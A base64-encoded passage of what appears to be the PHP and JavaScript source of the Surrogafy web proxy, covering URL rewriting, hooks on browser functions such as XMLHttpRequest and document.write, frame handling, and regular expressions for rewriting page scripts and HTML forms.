WFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBl